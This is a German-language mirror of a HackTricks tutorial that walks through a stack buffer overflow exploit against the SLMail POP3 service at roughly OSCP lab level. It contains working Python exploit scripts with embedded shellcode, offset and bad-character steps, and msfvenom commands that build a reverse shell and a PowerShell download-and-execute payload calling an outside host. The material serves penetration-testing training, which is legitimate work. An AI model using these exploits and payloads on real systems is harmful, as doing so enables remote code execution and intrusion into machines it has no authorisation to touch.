mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
263 lines
11 KiB
Markdown
263 lines
11 KiB
Markdown
|
# Windows Exploiting (Grundlegender Leitfaden - OSCP lvl)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
|
||
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||
|
|
||
|
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||
|
|
||
|
</details>
|
||
|
|
||
|
## **Beginnen Sie mit der Installation des SLMail-Dienstes**
|
||
|
|
||
|
## SLMail-Dienst neu starten
|
||
|
|
||
|
Jedes Mal, wenn Sie den **Dienst SLMail neu starten müssen**, können Sie dies über die Windows-Konsole tun:
|
||
|
```
|
||
|
net start slmail
|
||
|
```
|
||
|
![](<../.gitbook/assets/image (985).png>)
|
||
|
|
||
|
## Sehr einfaches Python-Exploit-Template
|
||
|
```python
|
||
|
#!/usr/bin/python
|
||
|
|
||
|
import socket
|
||
|
|
||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||
|
ip = '10.11.25.153'
|
||
|
port = 110
|
||
|
|
||
|
buffer = 'A' * 2700
|
||
|
try:
|
||
|
print "\nLaunching exploit..."
|
||
|
s.connect((ip, port))
|
||
|
data = s.recv(1024)
|
||
|
s.send('USER username' +'\r\n')
|
||
|
data = s.recv(1024)
|
||
|
s.send('PASS ' + buffer + '\r\n')
|
||
|
print "\nFinished!."
|
||
|
except:
|
||
|
print "Could not connect to "+ip+":"+port
|
||
|
```
|
||
|
## **Ändern der Schriftart in Immunity Debugger**
|
||
|
|
||
|
Gehe zu `Options >> Appearance >> Fonts >> Ändern (Consolas, Fett, 9) >> OK`
|
||
|
|
||
|
## **Prozess an Immunity Debugger anhängen:**
|
||
|
|
||
|
**Datei --> Anhängen**
|
||
|
|
||
|
![](<../.gitbook/assets/image (866).png>)
|
||
|
|
||
|
**Und drücke die START-Taste**
|
||
|
|
||
|
## **Exploit senden und überprüfen, ob EIP betroffen ist:**
|
||
|
|
||
|
![](<../.gitbook/assets/image (903).png>)
|
||
|
|
||
|
Jedes Mal, wenn du den Dienst unterbrichst, solltest du ihn neu starten, wie am Anfang dieser Seite angegeben.
|
||
|
|
||
|
## Muster erstellen, um das EIP zu ändern
|
||
|
|
||
|
Das Muster sollte so groß sein wie der Puffer, den du zuvor verwendet hast, um den Dienst zu unterbrechen.
|
||
|
|
||
|
![](<../.gitbook/assets/image (417).png>)
|
||
|
```
|
||
|
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
|
||
|
```
|
||
|
Ändern Sie den Puffer des Exploits und setzen Sie das Muster und starten Sie den Exploit.
|
||
|
|
||
|
Ein neuer Absturz sollte auftreten, jedoch mit einer anderen EIP-Adresse:
|
||
|
|
||
|
![](<../.gitbook/assets/image (633).png>)
|
||
|
|
||
|
Überprüfen Sie, ob die Adresse in Ihrem Muster war:
|
||
|
|
||
|
![](<../.gitbook/assets/image (415).png>)
|
||
|
```
|
||
|
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
|
||
|
```
|
||
|
Es sieht so aus, als ob **wir das EIP im Offset 2606 des Puffers ändern können**.
|
||
|
|
||
|
Überprüfen Sie dies, indem Sie den Puffer des Exploits ändern:
|
||
|
```
|
||
|
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
|
||
|
```
|
||
|
Mit diesem Puffer sollte der abgestürzte EIP auf 42424242 ("BBBB") zeigen.
|
||
|
|
||
|
![](<../.gitbook/assets/image (871).png>)
|
||
|
|
||
|
![](<../.gitbook/assets/image (89).png>)
|
||
|
|
||
|
Sieht so aus, als ob es funktioniert.
|
||
|
|
||
|
## Überprüfen Sie den Shellcode-Speicherplatz im Stack
|
||
|
|
||
|
600B sollten für jeden leistungsstarken Shellcode ausreichen.
|
||
|
|
||
|
Lassen Sie uns den Puffer ändern:
|
||
|
```
|
||
|
buffer = 'A'*2606 + 'BBBB' + 'C'*600
|
||
|
```
|
||
|
Starten Sie das neue Exploit und überprüfen Sie den EBP und die Länge des nützlichen Shellcodes
|
||
|
|
||
|
![](<../.gitbook/assets/image (116).png>)
|
||
|
|
||
|
![](<../.gitbook/assets/image (876).png>)
|
||
|
|
||
|
Sie können sehen, dass wenn die Schwachstelle erreicht wird, der EBP auf den Shellcode zeigt und dass wir viel Platz haben, um hier einen Shellcode zu platzieren.
|
||
|
|
||
|
In diesem Fall haben wir **von 0x0209A128 bis 0x0209A2D6 = 430B.** Genug.
|
||
|
|
||
|
## Überprüfen Sie auf ungültige Zeichen
|
||
|
|
||
|
Ändern Sie erneut den Puffer:
|
||
|
```
|
||
|
badchars = (
|
||
|
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
|
||
|
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
|
||
|
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
|
||
|
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
|
||
|
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
|
||
|
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
|
||
|
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
|
||
|
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
|
||
|
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
|
||
|
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
|
||
|
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
|
||
|
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
|
||
|
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
|
||
|
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
|
||
|
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
|
||
|
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
|
||
|
)
|
||
|
buffer = 'A'*2606 + 'BBBB' + badchars
|
||
|
```
|
||
|
Die badchars beginnen bei 0x01, da 0x00 fast immer schlecht ist.
|
||
|
|
||
|
Führen Sie den Exploit wiederholt mit diesem neuen Puffer aus, wobei die als nutzlos erkannten Zeichen gelöscht werden:.
|
||
|
|
||
|
Zum Beispiel:
|
||
|
|
||
|
In diesem Fall sehen Sie, dass **Sie das Zeichen 0x0A nicht verwenden sollten** (nichts wird im Speicher gespeichert, da das Zeichen 0x09).
|
||
|
|
||
|
![](<../.gitbook/assets/image (108).png>)
|
||
|
|
||
|
In diesem Fall sehen Sie, dass **das Zeichen 0x0D vermieden wird**:
|
||
|
|
||
|
![](<../.gitbook/assets/image (1095).png>)
|
||
|
|
||
|
## Finden Sie eine JMP ESP als Rücksprungadresse
|
||
|
|
||
|
Verwendung:
|
||
|
```
|
||
|
!mona modules #Get protections, look for all false except last one (Dll of SO)
|
||
|
```
|
||
|
Du wirst die **Speicherkarten auflisten**. Suche nach einer DLL, die folgende Eigenschaften hat:
|
||
|
|
||
|
- **Rebase: False**
|
||
|
- **SafeSEH: False**
|
||
|
- **ASLR: False**
|
||
|
- **NXCompat: False**
|
||
|
- **OS Dll: True**
|
||
|
|
||
|
![](<../.gitbook/assets/image (552).png>)
|
||
|
|
||
|
Nun solltest du innerhalb dieses Speichers einige JMP ESP-Bytes finden. Führe dazu aus:
|
||
|
```
|
||
|
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
|
||
|
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
|
||
|
```
|
||
|
**Dann, wenn eine Adresse gefunden wird, wählen Sie eine aus, die keine schädlichen Zeichen enthält:**
|
||
|
|
||
|
![](<../.gitbook/assets/image (602).png>)
|
||
|
|
||
|
**In diesem Fall zum Beispiel: \_0x5f4a358f**\_
|
||
|
|
||
|
## Erstellen von Shellcode
|
||
|
```
|
||
|
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
|
||
|
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
|
||
|
```
|
||
|
Wenn der Exploit nicht funktioniert, obwohl er es sollte (Sie können mit ImDebg sehen, dass der Shellcode erreicht wird), versuchen Sie, andere Shellcodes zu erstellen (msfvenom erstellt verschiedene Shellcodes für dieselben Parameter).
|
||
|
|
||
|
**Fügen Sie einige NOPS am Anfang** des Shellcodes hinzu und verwenden Sie ihn und die Rückkehradresse, um zu JMP ESP zu springen, und beenden Sie den Exploit:
|
||
|
```bash
|
||
|
#!/usr/bin/python
|
||
|
|
||
|
import socket
|
||
|
|
||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||
|
ip = '10.11.25.153'
|
||
|
port = 110
|
||
|
|
||
|
shellcode = (
|
||
|
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
|
||
|
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
|
||
|
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
|
||
|
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
|
||
|
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
|
||
|
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
|
||
|
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
|
||
|
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
|
||
|
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
|
||
|
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
|
||
|
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
|
||
|
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
|
||
|
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
|
||
|
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
|
||
|
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
|
||
|
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
|
||
|
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
|
||
|
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
|
||
|
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
|
||
|
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
|
||
|
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
|
||
|
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
|
||
|
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
|
||
|
"\x2d\xb8\x63\xe2\x4e\xe9"
|
||
|
)
|
||
|
|
||
|
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
|
||
|
try:
|
||
|
print "\nLaunching exploit..."
|
||
|
s.connect((ip, port))
|
||
|
data = s.recv(1024)
|
||
|
s.send('USER username' +'\r\n')
|
||
|
data = s.recv(1024)
|
||
|
s.send('PASS ' + buffer + '\r\n')
|
||
|
print "\nFinished!."
|
||
|
except:
|
||
|
print "Could not connect to "+ip+":"+port
|
||
|
```
|
||
|
{% hint style="warning" %}
|
||
|
Es gibt Shellcodes, die sich **selbst überschreiben**, daher ist es wichtig, immer einige NOPs vor dem Shellcode hinzuzufügen.
|
||
|
{% endhint %}
|
||
|
|
||
|
## Verbesserung des Shellcodes
|
||
|
|
||
|
Fügen Sie diese Parameter hinzu:
|
||
|
```bash
|
||
|
EXITFUNC=thread -e x86/shikata_ga_nai
|
||
|
```
|
||
|
<details>
|
||
|
|
||
|
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
|
||
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||
|
|
||
|
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories einreichen.
|
||
|
|
||
|
</details>
|